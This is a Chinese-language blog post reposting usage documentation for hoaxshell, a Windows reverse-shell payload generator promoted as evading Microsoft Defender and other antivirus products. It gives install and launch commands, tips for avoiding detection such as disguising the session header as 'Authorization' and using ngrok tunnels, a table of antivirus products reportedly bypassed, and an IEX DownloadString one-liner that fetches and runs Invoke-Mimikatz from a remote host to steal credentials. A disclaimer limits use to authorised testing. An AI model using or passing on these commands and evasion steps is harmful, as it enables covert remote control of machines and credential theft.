一个非常规的Windows反弹shell,windows Defender/AV均可以绕过——hoaxshell

作者:Sec-Labs | 发布时间:

目的

hoaxshell 是一个非常规的 Windows 反向 shell,目前无法被 Microsoft Defender 和可能的其他 AV 解决方案检测到(查看 PoC 表 以获取更多信息),仅基于 http(s) 流量。 该工具易于使用,它生成自己的 PowerShell 有效负载并支持加密 (ssl)。 针对完全更新 的Windows 11 Enterprise Windows Server 2016 Datacenter Windows 10 Pro 虚拟机进行了测试。

免责声明 :纯粹用于测试和教育目的。 不要针对您没有明确权限和授权进行测试的主机运行此工具生成的有效负载。 您对使用此工具可能引起的任何问题负责。

项目地址

https://github.com/t3l3machus/hoaxshell

视频演示

[2022-10-11] 最新的视频&非常棒,由@JohnHammond 制作 -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] 原始版本演示,由我制作 -> youtube.com/watch?v=SEufgD5UxdU

使用截图

898005e570101949

安装

git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

用法

重要提示 :作为避免检测的一种手段,每次启动脚本时,hoaxshell 都会自动为进程中使用的自定义 http 标头的会话 ID、URL 路径和名称生成随机值。 生成的有效负载仅适用于为其生成的实例。 使用 -g绕过此行为并重新建立活动会话或使用新的 hoaxshell 实例重用过去生成的有效负载的选项。

通过 http 的基本 shell 会话

当你运行 hoaxshell 时,它会生成自己的 PowerShell 有效负载,供你复制并注入到受害者身上。 默认情况下,为方便起见,有效负载采用 base64 编码。 如果您需要原始负载,请执行“rawpayload”提示命令或使用以下命令启动 hoaxshell -r争论。 在受害者上执行有效负载后,您将能够针对它运行 PowerShell 命令。

利用的有效载荷 Invoke-Expression(默认)

sudo python3 hoaxshell.py -s <your_ip>

从文件写入和执行命令的有效负载

利用 -x提供要在受害机器上创建的 .ps1 文件名(绝对路径)。 您应该在执行之前检查原始有效负载,确保您提供的路径是可靠的。

sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

避免检测的推荐用法(通过 http)

Hoaxshell 利用 http 标头传输 shell 会话信息。 默认情况下,标头有一个随机名称,可以通过基于正则表达式的 AV 规则检测到。 使用 -H 提供标准或自定义的 http 标头名称以避免检测。

sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

加密的 shell 会话(https + 自签名证书)

这个特定的有效负载是一个危险信号,因为它以一个额外的代码块开始,指示 PowerShell 跳过 SSL 证书检查,这使得它变得可疑且易于检测,并且长度明显更长。 不建议。

# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

具有可信证书的加密 shell 会话

如果您拥有一个域,请使用此选项通过向您的 DN 提供 -s 以及受信任的证书 (-c cert.pem -k privkey.pem) 来生成更短且不易检测的 https 有效负载。

sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

抓取会话模式

如果您不小心关闭了终端、停电或其他情况,您可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,因为有效负载仍在受害机器上运行。

sudo python3 hoaxshell.py -s <your_ip> -g

重要提示 :确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。

约束语言模式支持

将任何有效负载变体与 -cm(--constraint-mode) 选项生成有效载荷,即使受害者被配置为在约束语言模式下运行 PS。 通过使用此选项,您会牺牲一点反向 shell 的 stdout 解码精度。

sudo python3 hoaxshell.py -s <your_ip> -cm

efa7dceddb102151

使用隧道工具( Ngrok / LocalTunnel )通过 https 进行 Shell 会话

利用隧道程序 Ngrok LocalTunnel 通过安全隧道获取会话,克服没有静态 IP 地址或您的 ISP 禁止端口转发等问题。

利用 -ng或者 --ngrok用于 Ngrok 服务器

sudo python3 hoaxshell.py -ng

利用 -lt或者 --localtunnel对于 LocalTunnel 服务器

sudo python3 hoaxshell.py -lt

限制

如果您执行启动交互式会话的命令,shell 将会挂起。 例子:

# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

因此,例如,如果您想通过 hoaxshell 运行 mimikatz,则需要调用以下命令:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

长话短说,您必须小心不要运行在 hoaxshell powershell 上下文中启动交互式会话的 exe 或 cmd。

AV 绕过 PoC

一些很棒的人很友好地向我发送/发布了 PoC 视频,这些视频是针对运行除 MS Defender 之外的 AV 解决方案的系统执行 hoaxshell 的有效负载的,而不会被检测到。 以下是带有链接的参考表:

重要提示 :我不知道您是否仍然可以有效地使用 hoaxshell 来绕过这些解决方案。 假设可检测性很快就会改变(如果还没有的话)是合理的。

视音频解决方案 日期 POC
哨兵一号 2022-10-18 https://twitter.com/i/status/1582137400880336896
诺顿 2022-10-17 https://twitter.com/i/status/1582278579244929024
比特卫士 2022-10-15 https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop
迈克菲 2022-10-15 https://twitter.com/i/status/1581605531365814273
卡巴斯基 2022-10-13 https://www.youtube.com/watch?v=IyMH_eCC4Rk
索福斯 2022-09-08 https://www.youtube.com/watch?v=NYR0rWx4x8k

更新

  • 13/10/2022- 添加了约束语言模式支持 (-cm) 选项。
  • 08/10/2022- 添加了 -ng-lt生成 PS 有效负载以获取会话的选项, 使用隧道工具ngrok localtunnel 以绕过静态 IP 地址和端口转发等限制。
  • 06/09/2022- 添加了一个新的有效负载,它将要执行的命令写入文件而不是利用 Invoke-Expression. 要使用它,用户必须在受害机器上提供一个 .ps1 文件名(绝对路径),使用 -x选项。
  • 04/09/2022- 进行了修改以改进命令传递机制,因为它包括可以轻松标记的组件。 这 -t选项连同 https_payload_trusted.ps1添加。 您现在可以通过提供域名和受信任的证书来使用 hoaxshell。 这将生成更短且不易检测的 https 有效负载。
  • 01/09/2022- 添加了 -H该选项允许用户为攻击过程中使用的(默认随机)标头提供自定义名称,并带有 shell 的会话 ID。 这使得攻击更不易被检测到,例如通过使用标准标题名称,例如“授权”。
  • 31/08/2022- 添加了 -i生成 PS 有效负载的选项已调整为使用“Invoke-RestMethod”而不是“Invoke-WebRequest”实用程序,因此现在用户可以选择(感谢这个 问题 )。我还修复了提示中存在的错误(有时会弄乱路径)。

 

标签:工具分享, 免杀工具, 反弹shell